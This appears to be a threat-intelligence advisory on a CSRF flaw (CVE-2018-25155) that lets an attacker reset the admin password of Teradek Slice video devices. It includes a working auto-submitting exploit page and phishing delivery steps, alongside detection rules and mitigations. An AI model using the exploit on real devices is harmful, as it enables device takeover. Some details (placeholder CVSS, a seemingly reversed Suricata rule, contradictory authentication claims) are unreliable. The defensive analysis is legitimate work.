CVE-2018-25155

Executive Summary

CVE-2018-25155 is a critical Cross-Site Request Forgery (CSRF) vulnerability affecting Teradek Slice firmware version 7.3.15. The vulnerability allows an attacker to change administrative passwords without proper request validation. An attacker can craft a malicious web page that, when visited by an authenticated user, automatically submits a password change request to the device. This can lead to full device compromise, including unauthorized access to video streaming and configuration settings. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the impact, it is considered high severity. No official patch has been released, and the vendor has not provided a fix.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a hardware device (Teradek Slice). No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; actual severity is high)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit a malicious page
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical (due to potential for full device takeover)

Deep Dive & Mechanics

The Teradek Slice device exposes a web interface for configuration, including administrative password changes. The vulnerability lies in the lack of CSRF tokens or origin validation in the password change endpoint. An attacker can host a malicious HTML page that, when loaded by an authenticated user, automatically submits a POST request to the device's password change endpoint. Since the browser automatically includes the user's session cookies, the request is processed as legitimate.

The attack flow:

1. Attacker crafts a page with a form that targets http://<device-ip>/cgi-bin/password.cgi (or similar endpoint).
2. The form includes fields for new password and confirmation.
3. The page uses JavaScript or auto-submit to send the form.
4. Victim, logged into the device, visits the malicious page.
5. The password is changed to the attacker's chosen value.

No authentication or CSRF token is required, making exploitation trivial.

Vulnerable vs. Patched Code

Vulnerable Code (Teradek Slice 7.3.15): The password change endpoint does not validate the origin or include a CSRF token. Example vulnerable request:

POST /cgi-bin/password.cgi HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
Cookie: session=valid_session

new_password=attacker123&confirm_password=attacker123

Patched Code (Hypothetical): A patched version would include a CSRF token in the form and validate it server-side. Example:

POST /cgi-bin/password.cgi HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded
Cookie: session=valid_session

csrf_token=random_token&new_password=attacker123&confirm_password=attacker123

The server would check the token against the session before processing.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: Teradek Slice device with firmware 7.3.15 (IP: 192.168.1.100)
• Attacker machine: Kali Linux (IP: 192.168.1.50)
• Victim machine: Windows 10 with browser logged into device

Exploit Steps:

1. Create a malicious HTML file (csrf.html):

<html>
<body>
<form id="csrf" action="http://192.168.1.100/cgi-bin/password.cgi" method="POST">
<input type="hidden" name="new_password" value="hacked123">
<input type="hidden" name="confirm_password" value="hacked123">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the file on a web server: python3 -m http.server 8080
3. Send the link to the victim (e.g., via phishing email): http://192.168.1.50:8080/csrf.html
4. When victim visits, the password changes to hacked123.
5. Attacker logs in with new credentials.

Blue Team

Detection:

• Monitor for unusual POST requests to /cgi-bin/password.cgi without a Referer header or with unexpected origins.
• Alert on multiple password change attempts in a short time.
• Use network monitoring to detect external hosts sending password change requests.

Mitigation:

• Implement CSRF tokens in all state-changing requests.
• Validate the Origin and Referer headers.
• Require re-authentication for sensitive actions.
• Restrict access to the web interface to trusted networks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /cgi-bin/password.cgi from external IPs.
  • Unusual Referer headers (e.g., from attacker-controlled domains).
• Host:
  • Unexpected password changes in device logs.
  • New admin accounts or modified settings.
• File:
  • Malicious HTML files with auto-submit forms targeting the device.

Detection Engineering

YARA Rule

rule detect_csrf_teradek_slice {
    meta:
        description = "Detects CSRF exploit HTML for Teradek Slice CVE-2018-25155"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $form = "action=\"http://" ascii wide nocase
        $password = "new_password" ascii wide nocase
        $confirm = "confirm_password" ascii wide nocase
        $submit = ".submit()" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Teradek Slice CSRF Password Change Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to Teradek Slice password change endpoint without proper origin
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /cgi-bin/password.cgi
    filter:
        cs-referer: "http://192.168.1.100/*"
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from trusted networks
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Teradek Slice CSRF Password Change Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/password.cgi"; http_uri; content:"new_password"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable remote access to the web interface. Use a firewall to restrict access to trusted IPs only.
• Short-term: Implement CSRF tokens in the device firmware. If not possible, use a reverse proxy to add CSRF protection.
• Long-term: Upgrade to a patched firmware version if available. Contact Teradek for support.
• Compensating Controls: Use network segmentation to isolate the device. Monitor logs for suspicious activity.

Report generated by Valters IT DevSecOps & CTI Division. For internal use only.